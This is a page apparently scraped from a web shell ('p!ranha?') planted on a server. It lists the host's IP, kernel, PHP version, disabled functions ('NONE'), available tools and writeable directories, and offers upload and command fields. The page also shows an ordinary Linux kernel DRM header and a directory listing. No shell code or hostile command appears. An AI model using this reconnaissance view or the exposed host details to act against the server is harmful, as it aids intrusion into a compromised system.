p!ranha?
Server IP : 103.169.32.36  /  Your IP : 216.73.217.13
Web Server : Apache
System : Linux web.dpmptsp 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
User : apache ( 48)
PHP Version : 5.6.40
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/lib/modules/3.10.0-1160.105.1.el7.x86_64/build/include/drm/

Upload File :
Curr3nt_D!r [ Writeable ] D0cum3nt_r0Ot [ Writeable ]

 
Command :
Current File : /usr/lib/modules/3.10.0-1160.105.1.el7.x86_64/build/include/drm/drm_device.h
#ifndef _DRM_DEVICE_H_
#define _DRM_DEVICE_H_

#include <linux/list.h>
#include <linux/kref.h>
#include <linux/mutex.h>
#include <linux/idr.h>

#include <drm/drm_hashtab.h>
#include <drm/drm_mode_config.h>

struct drm_driver;
struct drm_minor;
struct drm_master;
struct drm_device_dma;
struct drm_vblank_crtc;
struct drm_sg_mem;
struct drm_local_map;
struct drm_vma_offset_manager;
struct drm_fb_helper;

struct inode;

struct pci_dev;
struct pci_controller;

/**
 * DRM device structure. This structure represent a complete card that
 * may contain multiple heads.
 */
struct drm_device {
	struct list_head legacy_dev_list;/**< list of devices per driver for stealth attach cleanup */
	int if_version;			/**< Highest interface version set */

	/** \name Lifetime Management */
	/*@{ */
	struct kref ref;		/**< Object ref-count */
	struct device *dev;		/**< Device structure of bus-device */
	struct drm_driver *driver;	/**< DRM driver managing the device */
	void *dev_private;		/**< DRM driver private data */
	struct drm_minor *primary;		/**< Primary node */
	struct drm_minor *render;		/**< Render node */
	bool registered;

	/* currently active master for this device. Protected by master_mutex */
	struct drm_master *master;

	/**
	 * @driver_features: per-device driver features
	 *
	 * Drivers can clear specific flags here to disallow
	 * certain features on a per-device basis while still
	 * sharing a single &struct drm_driver instance across
	 * all devices.
	 */
	u32 driver_features;

	/**
	 * @unplugged:
	 *
	 * Flag to tell if the device has been unplugged.
	 * See drm_dev_enter() and drm_dev_is_unplugged().
	 */
	bool unplugged;

	struct inode *anon_inode;		/**< inode for private address-space */
	char *unique;				/**< unique name of the device */
	/*@} */

	/** \name Locks */
	/*@{ */
	struct mutex struct_mutex;	/**< For others */
	struct mutex master_mutex;      /**< For drm_minor::master and drm_file::is_master */
	/*@} */

	/** \name Usage Counters */
	/*@{ */
	int open_count;			/**< Outstanding files open, protected by drm_global_mutex. */
	spinlock_t buf_lock;		/**< For drm_device::buf_use and a few other things. */
	int buf_use;			/**< Buffers in use -- cannot alloc */
	atomic_t buf_alloc;		/**< Buffer allocation in progress */
	/*@} */

	struct mutex filelist_mutex;
	struct list_head filelist;

	/**
	 * @filelist_internal:
	 *
	 * List of open DRM files for in-kernel clients. Protected by @filelist_mutex.
	 */
	struct list_head filelist_internal;

	/**
	 * @clientlist_mutex:
	 *
	 * Protects @clientlist access.
	 */
	struct mutex clientlist_mutex;

	/**
	 * @clientlist:
	 *
	 * List of in-kernel clients. Protected by @clientlist_mutex.
	 */
	struct list_head clientlist;

	/** \name Memory management */
	/*@{ */
	struct list_head maplist;	/**< Linked list of regions */
	struct drm_open_hash map_hash;	/**< User token hash table for maps */

	/** \name Context handle management */
	/*@{ */
	struct list_head ctxlist;	/**< Linked list of context handles */
	struct mutex ctxlist_mutex;	/**< For ctxlist */

	struct idr ctx_idr;

	struct list_head vmalist;	/**< List of vmas (for debugging) */

	/*@} */

	/** \name DMA support */
	/*@{ */
	struct drm_device_dma *dma;		/**< Optional pointer for DMA support */
	/*@} */

	/** \name Context support */
	/*@{ */

	__volatile__ long context_flag;	/**< Context swapping flag */
	int last_context;		/**< Last current context */
	/*@} */

	/**
	 * @irq_enabled:
	 *
	 * Indicates that interrupt handling is enabled, specifically vblank
	 * handling. Drivers which don't use drm_irq_install() need to set this
	 * to true manually.
	 */
	bool irq_enabled;
	int irq;

	/**
	 * @vblank_disable_immediate:
	 *
	 * If true, vblank interrupt will be disabled immediately when the
	 * refcount drops to zero, as opposed to via the vblank disable
	 * timer.
	 *
	 * This can be set to true it the hardware has a working vblank counter
	 * with high-precision timestamping (otherwise there are races) and the
	 * driver uses drm_crtc_vblank_on() and drm_crtc_vblank_off()
	 * appropriately. See also @max_vblank_count and
	 * &drm_crtc_funcs.get_vblank_counter.
	 */
	bool vblank_disable_immediate;

	/**
	 * @vblank:
	 *
	 * Array of vblank tracking structures, one per &struct drm_crtc. For
	 * historical reasons (vblank support predates kernel modesetting) this
	 * is free-standing and not part of &struct drm_crtc itself. It must be
	 * initialized explicitly by calling drm_vblank_init().
	 */
	struct drm_vblank_crtc *vblank;

	spinlock_t vblank_time_lock;    /**< Protects vblank count and time updates during vblank enable/disable */
	spinlock_t vbl_lock;

	/**
	 * @max_vblank_count:
	 *
	 * Maximum value of the vblank registers. This value +1 will result in a
	 * wrap-around of the vblank register. It is used by the vblank core to
	 * handle wrap-arounds.
	 *
	 * If set to zero the vblank core will try to guess the elapsed vblanks
	 * between times when the vblank interrupt is disabled through
	 * high-precision timestamps. That approach is suffering from small
	 * races and imprecision over longer time periods, hence exposing a
	 * hardware vblank counter is always recommended.
	 *
	 * If non-zeor, &drm_crtc_funcs.get_vblank_counter must be set.
	 */
	u32 max_vblank_count;           /**< size of vblank counter register */

	/**
	 * List of events
	 */
	struct list_head vblank_event_list;
	spinlock_t event_lock;

	/*@} */

	struct drm_agp_head *agp;	/**< AGP data */

	struct pci_dev *pdev;		/**< PCI device structure */
#ifdef __alpha__
	struct pci_controller *hose;
#endif

	struct drm_sg_mem *sg;	/**< Scatter gather memory */
	unsigned int num_crtcs;                  /**< Number of CRTCs on this device */

	struct {
		int context;
		struct drm_hw_lock *lock;
	} sigdata;

	struct drm_local_map *agp_buffer_map;
	unsigned int agp_buffer_token;

	struct drm_mode_config mode_config;	/**< Current mode config */

	/** \name GEM information */
	/*@{ */
	struct mutex object_name_lock;
	struct idr object_name_idr;
	struct drm_vma_offset_manager *vma_offset_manager;
	/*@} */
	int switch_power_state;

	/**
	 * @fb_helper:
	 *
	 * Pointer to the fbdev emulation structure.
	 * Set by drm_fb_helper_init() and cleared by drm_fb_helper_fini().
	 */
	struct drm_fb_helper *fb_helper;
};

#endif
N4m3
5!z3
L45t M0d!f!3d
0wn3r / Gr0up
P3Rm!55!0n5
0pt!0n5
..
--
January 19 2024 08:12:51
0 / 0
0755
bridge
--
January 19 2024 08:12:50
0 / 0
0755
i2c
--
January 19 2024 08:12:50
0 / 0
0755
ttm
--
January 19 2024 08:12:50
0 / 0
0755
amd_asic_type.h
1.585 KB
November 06 2023 09:15:52
0 / 0
0644
ati_pcigart.h
0.714 KB
November 06 2023 09:15:52
0 / 0
0644
drmP.h
3.393 KB
November 06 2023 09:15:52
0 / 0
0644
drm_agpsupport.h
3.814 KB
November 06 2023 09:15:52
0 / 0
0644
drm_atomic.h
32.294 KB
November 06 2023 09:15:52
0 / 0
0644
drm_atomic_helper.h
9.297 KB
November 06 2023 09:15:52
0 / 0
0644
drm_atomic_state_helper.h
3.153 KB
November 06 2023 09:15:52
0 / 0
0644
drm_atomic_uapi.h
2.166 KB
November 06 2023 09:15:52
0 / 0
0644
drm_audio_component.h
3.533 KB
November 06 2023 09:15:52
0 / 0
0644
drm_auth.h
3.396 KB
November 06 2023 09:15:52
0 / 0
0644
drm_backport.h
10.174 KB
November 06 2023 09:15:52
0 / 0
0644
drm_blend.h
2.351 KB
November 06 2023 09:15:52
0 / 0
0644
drm_bridge.h
11.726 KB
November 06 2023 09:15:52
0 / 0
0644
drm_cache.h
2.843 KB
November 06 2023 09:15:52
0 / 0
0644
drm_client.h
2.799 KB
November 06 2023 09:15:52
0 / 0
0644
drm_color_mgmt.h
2.364 KB
November 06 2023 09:15:52
0 / 0
0644
drm_connector.h
43.663 KB
November 06 2023 09:15:52
0 / 0
0644
drm_crtc.h
39.406 KB
November 06 2023 09:15:52
0 / 0
0644
drm_crtc_helper.h
2.978 KB
November 06 2023 09:15:52
0 / 0
0644
drm_damage_helper.h
3.827 KB
November 06 2023 09:15:52
0 / 0
0644
drm_debugfs.h
3.358 KB
November 06 2023 09:15:52
0 / 0
0644
drm_debugfs_crc.h
2.659 KB
November 06 2023 09:15:52
0 / 0
0644
drm_device.h
6.156 KB
November 06 2023 09:15:52
0 / 0
0644
drm_displayid.h
2.783 KB
November 06 2023 09:15:52
0 / 0
0644
drm_dp_dual_mode_helper.h
4.426 KB
November 06 2023 09:15:52
0 / 0
0644
drm_dp_helper.h
53.182 KB
November 06 2023 09:15:52
0 / 0
0644
drm_dp_mst_helper.h
16.713 KB
November 06 2023 09:15:52
0 / 0
0644
drm_drv.h
21.855 KB
November 06 2023 09:15:52
0 / 0
0644
drm_dsc.h
13.993 KB
November 06 2023 09:15:52
0 / 0
0644
drm_edid.h
15.09 KB
November 06 2023 09:15:52
0 / 0
0644
drm_encoder.h
8.471 KB
November 06 2023 09:15:52
0 / 0
0644
drm_encoder_slave.h
6.457 KB
November 06 2023 09:15:52
0 / 0
0644
drm_fb_cma_helper.h
1.093 KB
November 06 2023 09:15:52
0 / 0
0644
drm_fb_helper.h
18.467 KB
November 06 2023 09:15:52
0 / 0
0644
drm_file.h
10.608 KB
November 06 2023 09:15:52
0 / 0
0644
drm_fixed.h
4.712 KB
November 06 2023 09:15:52
0 / 0
0644
drm_flip_work.h
3.008 KB
November 06 2023 09:15:52
0 / 0
0644
drm_fourcc.h
5.93 KB
November 06 2023 09:15:52
0 / 0
0644
drm_framebuffer.h
9.382 KB
November 06 2023 09:15:52
0 / 0
0644
drm_gem.h
10.829 KB
November 06 2023 09:15:52
0 / 0
0644
drm_gem_cma_helper.h
4.396 KB
November 06 2023 09:15:52
0 / 0
0644
drm_gem_framebuffer_helper.h
1.335 KB
November 06 2023 09:15:52
0 / 0
0644
drm_hashtab.h
3.011 KB
November 06 2023 09:15:52
0 / 0
0644
drm_hdcp.h
7.163 KB
November 06 2023 09:15:52
0 / 0
0644
drm_ioctl.h
6.065 KB
November 06 2023 09:15:52
0 / 0
0644
drm_irq.h
1.292 KB
November 06 2023 09:15:52
0 / 0
0644
drm_lease.h
1.432 KB
November 06 2023 09:15:52
0 / 0
0644
drm_legacy.h
6.77 KB
November 06 2023 09:15:52
0 / 0
0644
drm_mipi_dsi.h
10.459 KB
November 06 2023 09:15:52
0 / 0
0644
drm_mm.h
17.377 KB
November 06 2023 09:15:52
0 / 0
0644
drm_mode_config.h
29.939 KB
November 06 2023 09:15:52
0 / 0
0644
drm_mode_object.h
5.17 KB
November 06 2023 09:15:52
0 / 0
0644
drm_modes.h
18.52 KB
November 06 2023 09:15:52
0 / 0
0644
drm_modeset_helper.h
1.688 KB
November 06 2023 09:15:52
0 / 0
0644
drm_modeset_helper_vtables.h
48.672 KB
November 06 2023 09:15:52
0 / 0
0644
drm_modeset_lock.h
6.38 KB
November 06 2023 09:15:52
0 / 0
0644
drm_of.h
3.367 KB
November 06 2023 09:15:52
0 / 0
0644
drm_os_linux.h
2.043 KB
November 06 2023 09:15:52
0 / 0
0644
drm_panel.h
7.082 KB
November 06 2023 09:15:52
0 / 0
0644
drm_pci.h
2.226 KB
November 06 2023 09:15:52
0 / 0
0644
drm_pciids.h
66.475 KB
November 06 2023 09:15:52
0 / 0
0644
drm_plane.h
26.25 KB
November 06 2023 09:15:52
0 / 0
0644
drm_plane_helper.h
1.745 KB
November 06 2023 09:15:52
0 / 0
0644
drm_prime.h
3.79 KB
November 06 2023 09:15:52
0 / 0
0644
drm_print.h
12.398 KB
November 06 2023 09:15:52
0 / 0
0644
drm_property.h
11.494 KB
November 06 2023 09:15:52
0 / 0
0644
drm_rect.h
5.845 KB
November 06 2023 09:15:52
0 / 0
0644
drm_scdc_helper.h
4.338 KB
November 06 2023 09:15:52
0 / 0
0644
drm_simple_kms_helper.h
6.041 KB
November 06 2023 09:15:52
0 / 0
0644
drm_syncobj.h
4.284 KB
November 06 2023 09:15:52
0 / 0
0644
drm_sysfs.h
0.28 KB
November 06 2023 09:15:52
0 / 0
0644
drm_util.h
1.355 KB
November 06 2023 09:15:52
0 / 0
0644
drm_utils.h
0.405 KB
November 06 2023 09:15:52
0 / 0
0644
drm_vblank.h
6.684 KB
November 06 2023 09:15:52
0 / 0
0644
drm_vma_manager.h
7.654 KB
November 06 2023 09:15:52
0 / 0
0644
drm_writeback.h
3.423 KB
November 06 2023 09:15:52
0 / 0
0644
gma_drm.h
1.009 KB
November 06 2023 09:15:52
0 / 0
0644
gpu_scheduler.h
12.498 KB
November 06 2023 09:15:52
0 / 0
0644
i915_component.h
1.685 KB
November 06 2023 09:15:52
0 / 0
0644
i915_drm.h
3.638 KB
November 06 2023 09:15:52
0 / 0
0644
i915_pciids.h
16.013 KB
November 06 2023 09:15:52
0 / 0
0644
intel-gtt.h
0.953 KB
November 06 2023 09:15:52
0 / 0
0644
intel_lpe_audio.h
1.717 KB
November 06 2023 09:15:52
0 / 0
0644
spsc_queue.h
3.058 KB
November 06 2023 09:15:52
0 / 0
0644